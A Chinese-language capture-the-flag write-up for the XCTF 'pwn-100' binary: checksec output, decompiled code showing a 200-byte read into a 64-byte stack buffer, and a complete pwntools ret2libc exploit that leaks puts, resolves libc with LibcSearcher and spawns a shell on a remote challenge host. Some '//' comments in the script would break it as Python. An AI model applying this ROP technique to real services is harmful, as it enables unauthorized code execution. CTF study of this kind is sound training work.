checksec
hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec pwn-100
[*] '/home/hunter/PWN/XCTF/xctf_challenge/pwn-100'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
基操
IDA
main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
sub_40068E();
return 0LL;
}
int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]
sub_40063D((__int64)&v1, 200); // read(0,&v1,200)
return puts("bye~");
}
__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}
return result;
}
关键函数在于sub_40063D,功能和read函数一样read(0,&v1,200),但这里强制读满200个字符
思路
- sub_40068E函数中的sub_40063D实现了read函数的功能,可以控制程序流程
- 没有system,/bin/sh,更没有后门
- 用puts函数泄露真实地址,获取libc版本,从而获取system,/bin/sh
- 所以进行两次攻击
EXP
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('./pwn-100')
libc_start_main_got = elf.got['__libc_start_main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x0000000000400763
start_addr = 0x000400550
#sh = process('./pwn-100')
sh = remote('220.249.52.133',54326)
ret = 0x00000000004004e1
payload = 'A'*0x40
payload += 'A'*8
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(start_addr)
payload += 'B'*(200-len(payload))
sh.sendline(payload)
print sh.recvuntil('bye~\n')
#puts_addr = u64(sh.recv(6)+'\x00'*2)
st_r = sh.recv().split('\n')[0] //去除后面的\n
for i in range(len(st_r),8): //填满八个字节
st_r += '\x00'
#libc_start_main_addr = u64(sh.recv(6)+'\x00'*2)
puts_addr = u64(st_r)
print str(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr-libc.dump('puts')
system_addr = libc_addr + libc.dump('system')
bin_sh_addr = libc_addr + libc.dump('str_bin_sh')
payload1 = 'B'*0x40
payload1 += 'A'*7 //本来放8个A填充RBP但是不知到为啥会占用下面地址的内存,从而无法实现跳转,大佬请留言
payload1 += p64(ret)
payload1 += p64(pop_rdi_ret)
payload1 += p64(bin_sh_addr) //binsh真实地址
payload1 += p64(system_addr) //system真实地址
payload1 += p64(0xdeadbeef)
payload1 += 'B'*(200-len(payload1))
#gdb.attach(sh)
sh.sendline(payload1)
print sh.recv()
sh.interactive()
结果:
[DEBUG] Received 0x4 bytes:
'bye~'
bye~
[*] Switching to interactive mode
[DEBUG] Received 0x1a bytes:
'\n'
'/bin/sh: 1: B: not found\n'
/bin/sh: 1: B: not found
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x24 bytes:
'bin\n'
'dev\n'
'flag\n'
'lib\n'
'lib32\n'
'lib64\n'
'pwn100\n'
bin
dev
flag
lib
lib32
lib64
pwn100